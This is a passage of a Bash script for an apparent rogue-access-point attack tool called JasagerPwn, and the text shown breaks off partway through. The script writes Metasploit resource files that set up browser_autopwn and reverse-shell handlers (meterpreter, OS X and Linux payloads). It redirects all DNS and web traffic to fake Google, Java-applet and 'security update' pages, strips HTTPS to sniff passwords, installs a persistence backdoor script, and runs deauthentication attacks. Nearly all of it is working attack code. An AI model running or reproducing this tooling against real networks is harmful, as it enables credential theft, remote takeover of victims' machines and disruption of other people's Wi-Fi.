dsniffcheck=`dpkg -l | grep dsniff | awk '{print $2}' | head -n 1`
php5check=`dpkg -l | grep php5 | awk '{print $2}' | head -n 1`
macchangerCheck=`dpkg -l | grep macchanger | awk '{print $2}' | head -n 1`
aircrackCheck=`dpkg -l | grep aircrack | awk '{print $2}' | head -n 1`
sleep 1
t="0"
if [ ! $dhcp3check ] || [ ! $apache2check ] || [ ! $apache2phpcheck ] || [ ! $dsniffcheck ] || [ ! $php5check ] || [ ! $macchangerCheck ] || [ ! -e "/usr/bin/airdrop-ng" ]; then 
  echo && echo -e "\e[01;31m[!]\e[00m Some dependencies were not found.. We will try to install them now..." && echo
  t="1"
elif [ ! -e "/usr/local/bin/sslstrip" ] && [ ! -e "/usr/bin/sslstrip" ] && [ $t -eq 0 ]; then
  echo && echo -e "\e[01;31m[!]\e[00m Some dependencies were not found.. We will try to install them now..." && echo
elif [ ! $aircrackCheck ] && [ ! -e "/usr/local/bin/aircrack-ng" ] && [ $t -eq 0 ]; then
  echo && echo -e "\e[01;31m[!]\e[00m Some dependencies were not found.. We will try to install them now..." && echo
fi
# dhcp3-server check
if [ ! $dhcp3check ]; then
  echo -e "\e[01;31m[!]\e[00m No dhcp3-server was detected... Installing.."
  xterm -geometry 75x10+464+446 -bg black -fg green -T "JasagerPwn v$version - Dependencies Installation" -e "sudo apt-get -y install dhcp3-server && update-rc.d -f dhcp3-server remove"
fi
# dsniff check
if [ ! $dsniffcheck ]; then
  echo -e "\e[01;31m[!]\e[00m No Dsniff suite was detected... Installing.."
  xterm -geometry 75x10+464+446 -bg black -fg green -T "JasagerPwn v$version -  Dependencies Installation" -e "sudo apt-get -y install dsniff"
fi
# apache2 check
if [ ! $apache2check ]; then
  echo -e "\e[01;31m[!]\e[00m No apache2 server was detected... Installing.."
  xterm -geometry 75x10+464+446 -bg black -fg green -T "JasagerPwn v$version -  Dependencies Installation" -e "sudo apt-get -y install apache2 && update-rc.d -f apache2 remove"
elif [ ! $apache2phpcheck ]; then
  echo -e "\e[01;31m[!]\e[00m No apache2 PHP5 module was detected... Installing.."
  xterm -geometry 75x10+464+446 -bg black -fg green -T "JasagerPwn v$version -  Dependencies Installation" -e "sudo apt-get -y install libapache2-mod-php5"
fi
# php5 check
if [ ! $php5check ]; then
  echo -e "\e[01;31m[!]\e[00m No PHP5 was detected... Installing.."
  xterm -geometry 75x10+464+446 -bg black -fg green -T "JasagerPwn v$version -  Dependencies Installation" -e "sudo apt-get -y install php5 php5-curl"
fi
# macchanger check
if [ ! $macchangerCheck ]; then
  echo -e "\e[01;31m[!]\e[00m No Macchanger was detected... Installing.."
  xterm -geometry 75x10+464+446 -bg black -fg green -T "JasagerPwn v$version -  Dependencies Installation" -e "sudo apt-get -y install macchanger"
fi
# aircrack-ng check
if [ ! $aircrackCheck ] && [ ! -e "/usr/local/bin/aircrack-ng" ]; then
  echo -e "\e[01;31m[!]\e[00m No Aircrack-ng suite was detected... Installing.."
  xterm -geometry 75x10+464+446 -bg black -fg green -T "JasagerPwn v$version -  Dependencies Installation" -e "sudo apt-get -y install aircrack-ng"
fi
#sslstrip check
if [ ! -e "/usr/local/bin/sslstrip" ] && [ ! -e "/usr/bin/sslstrip" ]; then
  xterm -geometry 75x10+464+446 -bg black -fg green -T "JasagerPwn v$version -  Dependencies Installation" -e "sudo apt-get -y install python-twisted-web python-twisted-web2 linux-headers-$(uname -r) build-essential gcc g++"
  wget -q -P "/tmp" http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.9.tar.gz 
  tar xf /tmp/sslstrip-0.9.tar.gz -C "/tmp/" && sleep .5
  chmod -R +x /tmp/sslstrip-0.9/*.py
  xterm -geometry 75x10+464+446 -bg black -fg green -T "JasagerPwn v$version -  Dependencies Installation" -e "cd /tmp/sslstrip-0.9/ && python setup.py install"
  if [ -d "/tmp/sslstrip-0.9/" ]; then rm -rf /tmp/sslstrip-0.9/ ; fi
fi
#airdrop-ng check
if [ ! -e "/usr/bin/airdrop-ng" ]; then
  if [ -e "/pentest/wireless/aircrack-ng/scripts/airdrop-ng/install.py" ]; then
    xterm -geometry 75x10+464+446 -bg black -fg green -T "JasagerPwn v$version -  Dependencies Installation" -e "apt-get -y install linux-headers-$(uname -r) build-essential make patch autoconf python python-dev make patch gettext autoconf subversion tcl8.5 openssl zlib1g zlib1g-dev libssh2-1-dev libssl-dev libnl1 libnl-dev libpcap0.8 libpcap0.8-dev python-scapy cracklib-runtime"
    chmod +x /pentest/wireless/aircrack-ng/scripts/airdrop-ng/install.py
    xterm -geometry 75x10+464+446 -bg black -fg green -T "JasagerPwn v$version -  Dependencies Installation" -e "cd /pentest/wireless/aircrack-ng/scripts/airdrop-ng/ && python install.py" && sleep .5
    xterm -geometry 75x10+464+446 -bg black -fg green -T "JasagerPwn v$version -  Dependencies Installation" -e "airdrop-ng -u OUIUPDATE"
  else
    echo -e "\e[01;31m[!]\e[00m Cant Find Airdrop-ng Installer in /pentest.. Ill get it for you now.."
    if [ ! -e "/pentest/wireless" ]; then mkdir /pentest/wireless/ ; fi
    wget -q -P "/pentest/wireless/" http://info-s3curity.com/jasagerpwn/airdrop-ng.tar.gz
    tar xf "/pentest/wireless/airdrop-ng.tar.gz" 2> /dev/null
    xterm -geometry 75x10+464+446 -bg black -fg green -T "JasagerPwn v$version -  Dependencies Installation" -e "apt-get -y install linux-headers-$(uname -r) build-essential make patch autoconf python python-dev make patch gettext autoconf subversion tcl8.5 openssl zlib1g zlib1g-dev libssh2-1-dev libssl-dev libnl1 libnl-dev libpcap0.8 libpcap0.8-dev python-scapy cracklib-runtime"
    if [ -e "/pentest/wireless/airdrop-ng/install.py" ]; then chmod +x /pentest/wireless/airdrop-ng/install.py ; fi
    xterm -geometry 75x10+464+446 -bg black -fg green -T "JasagerPwn v$version -  Dependencies Installation" -e "cd /pentest/wireless/airdrop-ng/ && python install.py" && sleep .5
    xterm -geometry 75x10+464+446 -bg black -fg green -T "JasagerPwn v$version -  Dependencies Installation" -e "cd airdrop-ng -u OUIUPDATE"
    rm -f "/pentest/wireless/airdrop-ng.tar.gz" 2> /dev/null
  fi
fi

#metasploit check
if [ ! -e "$MSFpath/msfconsole" ]; then echo && echo -e "\e[01;31m[!]\e[00m ERROR: Metasploit wasnt found in: "$MSFpath"" ; cleanup; fi

#Put up monitor interface
monAttempts="0"
while [ ! $moncheck ]; do
  if [ $monAttempts -ge "3" ]; then echo -e "\e[01;31m[!]\e[00m FATAL: Couldn't Start $monIFACE" && cleanup; fi
  moncheck=`ifconfig | grep $monIFACE | awk '{print $1}' | cut -b 4`
  xterm -geometry 75x10+464+446 -bg black -fg green -T "JasagerPwn v$version - Start $monIFACE" -e "airmon-ng start $wirelessAtkIFACE"
  moncheck=`ifconfig | grep $monIFACE | awk '{print $1}' | cut -b 4`
  monAttempts=$(($monAttempts+1))
done

#copy over DNS compatable persistence script for backdoor
if [ ! -e "$MSFpath/scripts/meterpreter/persistence_dns.rb" ]; then cp src/resources/persistence_dns.rb "$MSFpath/scripts/meterpreter/" ; fi

#cleanup www folders
if [ -d "$Gwww/" ] ; then rm -rf $Gwww/ ; fi
if [ -d "$Jwww/" ] ; then rm -rf $Jwww/ ; fi
if [ -d "$Fwww/" ] ; then rm -rf $Fwww/ ; fi
sleep .5
if [ ! -d "$Jwww" ]; then mkdir $Jwww/ ; fi
if [ ! -d "$Gwww" ]; then mkdir $Gwww/ ; fi
if [ ! -d "$Fwww" ]; then mkdir $Fwww/ ; fi

#Check for updates
if [ ! $googleRev ]; then
   echo -n
elif [ $googleRev -gt $rev ]; then
   echo
   echo -e "\e[01;31m[!]\e[00m UPDATE: There is an update available!!! Run ./jasagerPwn -u"
   echo
elif [ $googleRev -lt $rev ]; then
   echo
   echo -e "\e[01;31m[!]\e[00m UPDATE: JasagerPwn Revisions have been RESET, Please Re-Download It!"
   echo -e "\e[01;31m[!]\e[00m Command: svn checkout http://jasagerpwn.googlecode.com/svn/trunk/ jasager-pwn"
   echo
fi

echo -e "\e[01;32m[>]\e[00m Creating scripts..."
#Airdrop-ng deauth configuration / rules
wifiMAC=`ifconfig $gatewayIFACE | grep "HWaddr" | awk '{print $5}' | tr "[a-z]" "[A-Z]"`
if [ "$WiFiMODE" == "1" ]; then newIFACEmac=`iwconfig $gatewayIFACE | grep "Access Point" | awk '{print $6}'` ; fi
if [ -e "/tmp/deauth.conf" ] ; then rm "/tmp/deauth.conf" ; fi
echo "# Jasager - deauth.conf v$version
a/$ourAPmac|any
a/$newIFACEmac|$wifiMAC
a/00:00:00:00:00:00|any
d/any|any"  > /tmp/deauth.conf

# DNS Hosts File. Everything to us.
if [ -e /tmp/jasagerpwn.dns ]; then rm -f /tmp/jasagerpwn.dns; fi
#echo "$fonIP *" > /tmp/jasagerpwn.dns
echo "use auxiliary/server/fakedns
set INTERFACE $fonEthernet
set DOMAINBYPASS *
set SRVHOST 0.0.0.0
set SRVPORT 53
set TARGETHOST $fonIP
run" > /tmp/jasagerpwn.dns.RC

#Vhosts javapwn
vhost="/etc/apache2/sites-available/javapwn"
if [ -e "$vhost" ] ; then rm "$vhost"; fi
echo "<VirtualHost *:80>
	ServerAdmin webmaster@localhost
	DocumentRoot $Jwww
	ServerName \"$fonIP\"
	<Directory />
		Options FollowSymLinks
		AllowOverride None
	</Directory>
	<Directory $Jwww>
		Options Indexes FollowSymLinks MultiViews
		AllowOverride None
		Order allow,deny
		allow from all
	</Directory>
	ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
	<directory \"/usr/lib/cgi-bin\">
		AllowOverride None
		Options ExecCGI -MultiViews +SymLinksIfOwnerMatch
		Order allow,deny
		Allow from all
	</directory>
	ErrorDocument 403 /index.html
	ErrorDocument 404 /index.html
</VirtualHost>" > $vhost

#Vhosts google
vhost2="/etc/apache2/sites-available/google"
if [ -e "$vhost2" ] ; then rm "$vhost2"; fi
echo "<VirtualHost *:80>
	ServerAdmin webmaster@localhost
	DocumentRoot $Gwww
	ServerName \"$fonIP\"
	<Directory />
		Options FollowSymLinks
		AllowOverride None
	</Directory>
	<Directory $Gwww>
		Options Indexes FollowSymLinks MultiViews
		AllowOverride None
		Order allow,deny
		allow from all
	</Directory>
	ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
	<directory \"/usr/lib/cgi-bin\">
		AllowOverride None
		Options ExecCGI -MultiViews +SymLinksIfOwnerMatch
		Order allow,deny
		Allow from all
	</directory>
	ErrorDocument 403 /index.html
	ErrorDocument 404 /index.html
</VirtualHost>" > $vhost2

#Vhosts fakeupdate
vhost3="/etc/apache2/sites-available/fakeupdate"
if [ -e "$vhost3" ] ; then rm "$vhost3"; fi
echo "<VirtualHost *:80>
	ServerAdmin webmaster@localhost
	DocumentRoot $Fwww
	ServerName \"$fonIP\"
	<Directory />
		Options FollowSymLinks
		AllowOverride None
	</Directory>
	<Directory $Fwww>
		Options Indexes FollowSymLinks MultiViews
		AllowOverride None
		Order allow,deny
		allow from all
	</Directory>
	ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
	<directory \"/usr/lib/cgi-bin\">
		AllowOverride None
		Options ExecCGI -MultiViews +SymLinksIfOwnerMatch
		Order allow,deny
		Allow from all
	</directory>
	ErrorDocument 403 /index.php
	ErrorDocument 404 /index.php
</VirtualHost>
" > $vhost3

if [ $autoMetScript -eq 1 ]; then
  metScript # Create our auto-meterpreter script resource file
  #Metasploit rc w/ auto script BP
  if [ -e "/tmp/msfrcBP" ] ; then rm "/tmp/msfrcBP" ; fi
  echo -e "use auxiliary/server/browser_autopwn
  set PAYLOAD windows/meterpreter/reverse_tcp
  set LHOST $fonIP
  set SRVPORT 80
  set SRVHOST $fonIP
  set URIPATH /
  set ExitOnSession false
  set InitialAutorunScript multiscript -rc $PWD/src/temp/automet.rc
  run -j" > /tmp/msfrcBP
  #Metasploit rc auto script FU
  if [ -e "/tmp/msfrcATK" ] ; then rm "/tmp/msfrcATK" ; fi
  echo -e "use exploit/multi/handler
  set PAYLOAD windows/meterpreter/reverse_tcp
  set LHOST $fonIP
  set LPORT $winPORT
  set InitialAutorunScript multiscript -rc $PWD/src/temp/automet.rc
  set ExitOnSession false
  exploit -j
  set PAYLOAD windows/meterpreter/reverse_tcp
  set LHOST $fonIP
  set LPORT 443
  set ExitOnSession false
  set AutoRunScript migrate -f -k
  set InitialAutorunScript multiscript -rc $PWD/src/temp/automet.rc
  exploit -j
  set PAYLOAD osx/x86/shell_reverse_tcp
  set LHOST 0.0.0.0
  set LPORT $osxPORT
  set InitialAutorunScript multiscript -rc $PWD/src/temp/automet.rc
  set ExitOnSession false
  exploit -j
  set PAYLOAD linux/x86/shell/reverse_tcp
  set LHOST 0.0.0.0
  set LPORT $nixPORT
  set InitialAutorunScript multiscript -rc $PWD/src/temp/automet.rc
  set ExitOnSession false
  exploit -j" > /tmp/msfrcATK
elif [ $autoMetScript -eq 0 ]; then
  #Metasploit rc no auto script BP
  if [ -e "/tmp/msfrcBP" ] ; then rm "/tmp/msfrcBP" ; fi
  echo -e "use auxiliary/server/browser_autopwn
  set PAYLOAD windows/meterpreter/reverse_tcp
  set LHOST $fonIP
  set SRVPORT 80
  set SRVHOST $fonIP
  set URIPATH /
  set ExitOnSession false
  run -j" > /tmp/msfrcBP
  #Metasploit rc no auto script FakeUpdate
  if [ -e "/tmp/msfrcATK" ] ; then rm "/tmp/msfrcATK" ; fi
  echo -e "use exploit/multi/handler
  set PAYLOAD windows/meterpreter/reverse_tcp
  set LHOST $fonIP
  set LPORT $winPORT
  set ExitOnSession false
  exploit -j
  set PAYLOAD windows/meterpreter/reverse_tcp
  set LHOST $fonIP
  set LPORT 443
  set ExitOnSession false
  set AutoRunScript migrate -f -k
  exploit -j
  set PAYLOAD osx/x86/shell_reverse_tcp
  set LHOST 0.0.0.0
  set LPORT $osxPORT
  set ExitOnSession false
  exploit -j
  set PAYLOAD linux/x86/shell/reverse_tcp
  set LHOST 0.0.0.0
  set LPORT $nixPORT
  set ExitOnSession false
  exploit -j" > /tmp/msfrcATK
fi

# Change mac address
if [ "$macMode" == "set" ]; then
  xterm -geometry 75x5+0+25 -bg black -fg yellow -e "ifconfig $monIFACE down; macchanger -m "$fakeMac" $monIFACE ; ifconfig $monIFACE up"
elif [ "$macMode" == "random" ]; then
  xterm -geometry 75x5+0+25 -bg black -fg yellow -e "ifconfig $monIFACE down; macchanger -A $monIFACE ; ifconfig $monIFACE up"
fi

echo -e "\e[01;32m[>]\e[00m Enabling ipv4 Forwarding..."
echo "1" > /proc/sys/net/ipv4/ip_forward
modprobe tun 2> /dev/null

echo -e "\e[01;32m[>]\e[00m Starting up DHCP3..."
xterm -geometry 0x0+0+0 -bg black -fg green -T "Starting DHCP3 Server" -e "/etc/init.d/dhcp3-server start" &
xterm -geometry 75x9+0+25 -bg black -fg red -T "[JasagerPwn-DHCP] v$version" -e "tail -f /var/log/messages | grep DHCP" &
messageID=`echo $!`

if [ "$extras" == "1" ]; then
  echo -e "\e[01;32m[>]\e[00m Loading URL Snarf/Driftnet/NGREP..."
  driftnet -v -s -i $fonEthernet 2> /dev/null 1> /dev/null &
  xterm -geometry 75x16+466+212 -bg black -fg green -T "[JasagerPwn-DSniff] v$version" -e "dsniff -i $fonEthernet" &
  dsniffID=`echo $!`
  xterm -geometry 75x23+0+173 -bg black -fg green -T "[JasagerPwn-URLSnarf] v$version" -e "urlsnarf -i $fonEthernet" &
  xterm -geometry 75x12+466+25 -bg black -fg green -T "[JasagerPwn-NGREP Sniffer] v$version" -e "cd $PWD/src/ ; chmod +x numsniffer.sh ; bash numsniffer.sh" &
fi

echo -e "\e[01;32m[>]\e[00m Setting up IP Tables..."
ipTables

echo -e "\e[01;36m[~]\e[00m Leg3nd's JasagerPwn v$version Rev$rev Started! More @ www.info-s3curity.com"
echo -e "\e[01;36m[~]\e[00m Code has been streamlined and additional AV prevention added."

# JasagerPwn Main Menu Loop
while true; do
  echo ; echo
  echo -e "\e[01;31m[~][~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~][~]\e[00m"
  echo -e "\e[01;31m[~][#################-JasagerPwn Menu-################][~]\e[00m"
  echo -e "\e[01;31m[~][~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~][~]\e[00m"
	  if [ $sniffing -eq 0 ] && [ $browserpwn -eq 0 ] && [ $fakeupdate -eq 0 ] && [ $javaATK -eq 0 ]; then
	    echo -e "\e[01;36m                   [*] Attack Status: Idle..\e[00m"
	  elif [ $sniffing -eq 1 ]; then
	    echo -e "\e[01;31m                   [*] Attack Status: SSLstrip & Sniffing\e[00m"
	  elif [ $browserpwn -eq 1 ]; then
	    echo -e "\e[01;31m                   [*] Attack Status: MSF Browser-AutoPwn\e[00m"
	  elif [ $fakeupdate -eq 1 ]; then
	    echo -e "\e[01;31m                   [*] Attack Status: MSF Fake Update\e[00m"
	  elif [ $javaATK -eq 1 ]; then
	    echo -e "\e[01;31m                   [*] Attack Status: Java Applet\e[00m"
	  fi
  echo -e "\e[01;32m[-]\e[00m [1][S] = Sniff HTTPS Passwords and Forms."
  echo -e "\e[01;32m[-]\e[00m [2][F] = Redirect LAN to Fake Security Update Page."
  echo -e "\e[01;32m[-]\e[00m [3][B] = Redirect LAN to Metasploit BrowserAutopwn."
  echo -e "\e[01;32m[-]\e[00m [4][J] = Redirect LAN to Java Applet Page."
  echo -e "\e[01;32m[-]\e[00m [5][D] = De-Authorize Clients on other APs."
  echo -e "\e[01;32m[-]\e[00m [6][N] = Adjust Script & Network Settings"
  echo -e "\e[01;32m[-]\e[00m [7][X] = Exit JasagerPwn Script"
  echo -n -e "\e[01;31m                   [?] Choose an attack for AP:\e[00m "
  read -e CONFIRM3
  echo
  case $CONFIRM3 in
	  s|S|sniff|Sniff|1)
	    if [ $browserpwn -eq 1 ]; then
		echo -e "\e[01;31m[!]\e[00m Error: Cant run with browserPwn. IPtables Conflict."
	    elif [ $javaATK -eq 1 ]; then
		echo -e "\e[01;31m[!]\e[00m Error: Cant run with Java Applet Attack. IPtables Conflict."
	    elif [ $fakeupdate -eq 1 ]; then
		echo -e "\e[01;31m[!]\e[00m Error: Cant run with FakeUpdate. IPtables Conflict."
	    elif [ $sniffing -eq 0 ]; then
	    iptables -t nat -A PREROUTING --in-interface $fonEthernet -p tcp --destination-port 80 -j REDIRECT --to-ports $sslport
	    xterm -geometry 75x3+1-25 -bg black -fg green -e "sslstrip -l $sslport && sleep 3" &
	    if [ -e sslstrip.log ]; then
	      xterm -geometry 76x21+463+451 -bg black -fg green -T "SSLStrip Sniffing" -e "tail -f sslstrip.log" &
	      TAILPID=`echo $!`
	    else
	      touch sslstrip.log
	      xterm -geometry 76x21+463+451 -bg black -fg green -T "SSLStrip Sniffing" -e "tail -f sslstrip.log" &
	      TAILPID=`echo $!`
	    fi
	    echo -e "\e[01;33m[!]\e[00m\e[00m Attack Started: SSLStripping / Sniffing"
	    wasSniffing="1"
	    sniffing="1"
	    elif [ $sniffing -eq 1 ]; then
		echo -e "\e[01;31m[!]\e[00m Error: Your Already Sniffing!!"
	    fi
	  ;;
	  F|f|fakeupdate|Fakeupdate|2)
	    if [ $fakeupdate -eq 1 ]; then
	      attackLoop
	    elif [ $browserpwn -eq 1 ]; then
		echo -e "\e[01;31m[!]\e[00m Error: Cant run with BrowserPwn. Port conflict."
	    elif [ $javaATK -eq 1 ]; then
		echo -e "\e[01;31m[!]\e[00m Error: Cant run with Java Applet Attack. IPtables Conflict."
	    elif [ $fakeupdate -eq 0 ]; then
	      fakeupdate="1"
	      fakeupdate && attackLoop
	    fi
	  ;;
	  B|b|browserpwn|browserPwn|3)
	    if [ $fakeupdate -eq 1 ]; then
		echo -e "\e[01;31m[!]\e[00m Error: Cant run with FakeUpdate. Port conflict."
	    elif [ $javaATK -eq 1 ]; then
		echo -e "\e[01;31m[!]\e[00m Error: Cant run with Java Applet Attack. IPtables Conflict."
	    elif [ $browserpwn -eq 0 ]; then
	    if [ $autoMetScript -eq 1 ]; then metScript; fi
	      echo -e "\e[01;33m[!]\e[00m Starting Web Server browserPwn attack @ $fonIP:80..."
	      xterm -geometry 75x5+0+94 -bg black -fg green -T "[JasagerPwn-Apache Kill] v$version - Stopping Apache2" -e "/etc/init.d/apache2 stop" &
	      xterm -geometry 110x42+464-38 -bg black -fg green -T "[Metasploit Handler] v$version" -e "msfconsole -r /tmp/msfrcBP" &
	      sleep 30 #Wait for browserAutopwn to start up modules and web server
	      xterm -geometry 75x7+10+330 -bg black -fg green -T "[JasagerPwn-DNS Kill] v$version - Killing DNSSpoof" -e "kill `ps aux | grep "ruby $MSFpath/msfconsole -r" | grep -v grep |awk '{print $2}'` `ps aux | grep "DNS Spoof" | grep -v grep |awk '{print $2}'`"
	      sleep .5 && xterm -geometry 75x7+0-36 -bg black -fg green -T "[JasagerPwn-DNS Spoof] v$version - DNSSpoof" -e "$MSFpath/msfconsole -r /tmp/jasagerpwn.dns.RC" &
	      sleep 30
	      echo -e "\e[01;33m[!]\e[00m Forcing LAN to visit our site..."
	      ipTableRedirect
	      browserpwn="1"
	    fi	
	  while true
	  do
	      if [ $fakeupdate -eq 1 ]; then break; fi
	      if [ $javaATK -eq 1 ]; then break; fi
	      echo
	      echo -e "\e[01;33m[MODE][============-BrowserPwn Metasploit-==========][!]\e[00m"
	      echo -e -n "\e[01;33m[!]\e[00m [S][1] to Stop Attack or [M][2] for Main Menu: "
	      read -e USR_CHOICE2
	      #read -r -p "[?] Enter [I] to give Internet back or [M] for Main Menu: " USR_CHOICE2
	      case $USR_CHOICE2 in
		S|s|Stop|stop|1)
		  xterm -geometry 75x7+10+330 -bg black -fg green -T "[JasagerPwn-ipTables] v$version" -e "iptables --table nat --delete PREROUTING --in-interface $fonEthernet" 
		  xterm -geometry 75x7+10+330 -bg black -fg green -T "[JasagerPwn-ipTables] v$version" -e "iptables --table nat --delete PREROUTING --in-interface $fonEthernet --jump REDIRECT" 
		  xterm -geometry 75x7+10+330 -bg black -fg green -T "[JasagerPwn-ipTables] v$version" -e "iptables --table nat --delete PREROUTING --in-interface $fonEthernet --proto tcp --jump DNAT --to $fonIP"
		  ipTables
		  xterm -geometry 75x7+10+330 -bg black -fg green -T "[JasagerPwn-DNS Kill] v$version - Killing DNSSpoof" -e "killall -9 dnsspoof" &
		  xterm -geometry 75x5+0+94 -bg black -fg green -T "[JasagerPwn-Apache Kill] v$version - Stopping Apache2" -e "/etc/init.d/apache2 stop" &	
		  browserpwn="0"
		  sleep 2
		  if [ $wasSniffing != "0" ]; then sslstrip ; fi
		  echo -e "\e[01;33m[!]\e[00m Kill Metasploit Server Jobs if you use FakeUpdate!!"
		  echo -e "\e[01;33m[!]\e[00m Dont Forget To Run 'ipconfig /flushdns' On Victim!!"
		  break
		;;
		M|m|Menu|menu|2)
		  break
		;;
		*) echo -e "\e[01;31m[!]\e[00m Error: Please Choose From The Menu.."
	      esac	
	  done
	  ;;
	  J|j|java|Java|4)
	    if [ $javaATK -eq 1 ]; then
	      attackLoop
	    elif [ $browserpwn -eq 1 ]; then
		echo -e "\e[01;31m[!]\e[00m Error: Cant run with BrowserPwn. Port conflict."
	    elif [ $fakeupdate -eq 1 ]; then
		echo -e "\e[01;31m[!]\e[00m Error: Cant run with FakeUpate Attack. IPtables Conflict."
	    elif [ $javaATK -eq 0 ]; then
	      echo -n -e "\e[01;33m[!]\e[00m [1][G]oogle or [2][J]ava Required:  "
	      read -e JavaSite
	      case $JavaSite in
		G|g|Google|google|1)
		    javasite="1" && javaATK="1"
		    if [ $autoMetScript -eq 1 ]; then metScript; fi
		    javapwn && attackLoop
		;;
		J|j|Java|java|2)
		    javasite="2" && javaATK="1"
		    if [ $autoMetScript -eq 1 ]; then metScript; fi
 		    javapwn && attackLoop
		;;
		*) echo -e "\e[01;31m[!]\e[00m Error: Please Choose From The Menu.."
	      esac
	    fi
	  ;;
	  D|d|deauth|Deauth|DeAuth|5)
	    attackCheck=`ifconfig | grep $monIFACE | awk '{print $1}' | cut -b 4`
	    while true
	    do
	      echo
	      echo -e "\e[01;33m[MODE][======================-DeAuth Attacks-=========================][!]\e[00m"
	      echo -e "\e[01;33m[!]\e[00m [1][A]irodrop-ng  [2][D]eAuth Mass  [3][S]ingle DeAuth"
	      echo -e "\e[01;33m[!]\e[00m [4][K]ill DeAuth  [5][M]ain menu"
	      #read -r -p "[?] Please enter [ A | D | S | K | M ]:  "  USR_CHOICE3
	      echo -e -n "\e[01;33m[!]\e[00m Choose From Above: "
	      read -e USR_CHOICE3
	      case $USR_CHOICE3 in
		  A|a|airodrop|Airodrop|1)
		    if [ -e "/usr/bin/airdrop-ng" ]; then
		    if [ -e "/tmp/cap-01.csv" ]; then rm /tmp/cap-* ; fi
		      sleep 2
		      xterm -geometry 90x30+464+0 -bg black -fg green -T "[JasagerPwn-Airodump] Capturing APs" -e "airodump-ng -w /tmp/cap -o csv $monIFACE" &
		      AIRDUMPID=`echo $!`
		      sleep 10
		      xterm -geometry 75x12+464+418 -bg black -fg green -hold -T "[JasagerPwn-Airdrop Attack] v$version" -e "airdrop-ng -n 2 -b -i $monIFACE -r /tmp/deauth.conf -t /tmp/cap-01.csv" &
		      AIRDROPID=`echo $!`
		    else
		      echo
		      echo -e "\e[01;31m[!]\e[00m Error: You need to fully install airdrop-ng for this."
		      echo -e "\e[01;31m[!]\e[00m Please go to /pentest/wireless/aircrack-ng/scripts/airdrop-ng and run install.py."
		    fi
		  ;;
		  D|d|deauth|DeAuth|2)
		    xterm -geometry 75x12+464+265 -bg black -fg green -T "[JasagerPwn-MassDeauth.sh] v$version" -e "chmod +x src/deauth.sh && bash src/deauth.sh" &
		    DEAUTHPID=`echo $!`
		  ;;
		  S|s|single|Single|3)
		    xterm -geometry 75x12+464+288 -bg black -fg green -T "[JasagerPwn-DeAuth Kill] v$version" -e "killall -9 aireplay" &
		    xterm -geometry 95x47+577+0 -hold -bg black -fg green -T "[CLOSE MANUALLY] - Airodump Capture" -e "airodump-ng $monIFACE" &
		    airID=`echo $!`
		    echo
		    read -r -p "[?] Enter the target APs BSSID: "   TBSSID
		    kill $airID
		    read -r -p "[?] Do You want a specific client? [ Y | N ]: "  DMODE
		    case $DMODE in
		      y|Y|Yes|yes|1)
			xterm -geometry 95x47+577+0 -hold -bg black -fg green -T "[CLOSE MANUALLY] - Airodump Capture" -e "airodump-ng --bssid $TBSSID $monIFACE" &
			echo
			read -r -p "[?] Enter the target Client MAC: " CMAC
			xterm -geometry 75x12+464+265 -bg black -fg green -T "[JasagerPwn-Manual DeAuth] v$version" -e "aireplay-ng -D -0 20 -a $TBSSID -c $CMAC $monIFACE" &
		      ;;
		      n|N|No|no|2)
			xterm -geometry 75x12+464+265 -bg black -fg green -T "[JasagerPwn-Manual DeAuth] v$version" -e "aireplay-ng -0 20 -D -a $TBSSID $monIFACE" &
		      ;;
		    *) echo -e "\e[01;31m[!]\e[00m Error: Please Choose From The Menu.."
		    esac
		  ;;
		  K|k|kill|Kill|4)
		    xterm -geometry 75x12+464+288 -bg black -fg green -T "[JasagerPwn-DeAuth Kill] v$version" -e "kill $DEAUTHPID && killall -9 aireplay-ng && killall airodump-ng && kill $AIRDROPID && kill $AIRDUMPID" &
		    xterm -geometry 75x12+464+288 -bg black -fg green -T "[JasagerPwn-DeAuth Kill] v$version" -e "kill $AIRDROPID && kill $AIRDUMPID && kill $airID" &
		  ;;
		  M|m|menu|Menu|5)
		    break
		  ;;
		  *) echo -e "\e[01;31m[!]\e[00m Error: Please Choose From The Menu.."
	      esac
	    done
	  ;;
	  N|n|Network|network|net|6)
	      while true
	      do
		echo
		echo -e "\e[01;33m[MODE][=======================-Script Settings-=======================][!]\e[00m"
		echo -e "\e[01;33m[!]\e[00m [1][I]nterface       [2]DeAuth [C]onfig    [3][R]efresh I-net "
		echo -e "\e[01;33m[!]\e[00m [4][P]ayloads        [5][M]ain Menu"
		echo -e -n "\e[01;33m[!]\e[00m Choose From Above: "
		read -e USR_CHOICE99
		case $USR_CHOICE99 in
		    I|i|interface|Interface|1)
			read -r -p "[?] Using a WiFi Network (Adds DeAuth Rule) [ Y | N ]: "  USR_CHOICE98
			case $USR_CHOICE98 in
			y|Y|Yes|yes|1)
			    echo
			    read -p "[!] Connect to WiFi Network THEN Press [Enter] .."
			    echo
			    echo -e "\e[01;33m[!]\e[00m Current Gateway Interface = $gatewayIFACE"
			    read -r -p "[?] Please Enter the New Gateway Interface: "	NEWIFACE  
			    IFACE=`echo $NEWIFACE`
			      if [ $sniffing -eq 0 ] && [ $browserpwn -eq 0 ] && [ $fakeupdate -eq 0 ] && [ $javaATK -eq 0 ]; then
				ipTables
			      elif [ $sniffing -eq 1 ] || [ $browserpwn -eq 1 ] || [ $fakeupdate -eq 1 ] || [ $javaATK -eq 1 ]; then
				ipTableRedirect
			      fi
			    wifiMAC=`ifconfig $gatewayIFACE | grep "HWaddr" | awk '{print $5}' | tr "[a-z]" "[A-Z]"`
			    if [ "$WiFiMODE" == "1" ]; then newIFACEmac=`iwconfig $gatewayIFACE | grep "Access Point" | awk '{print $6}'` ; fi
			    echo "a/$newIFACEmac|$wifiMAC" >> /tmp/deauth.conf
			;;
			n|N|No|no|2)
			  echo
			  echo -e "\e[01;33m[!]\e[00m Current Gateway Interface = $gatewayIFACE"
			  read -r -p "[?] Please Enter the New Gateway Interface: "	NEWIFACE  
			  IFACE=`echo $NEWIFACE`
			    if [ $sniffing -eq 0 ] && [ $browserpwn -eq 0 ] && [ $fakeupdate -eq 0 ] && [ $javaATK -eq 0 ]; then
			      ipTables
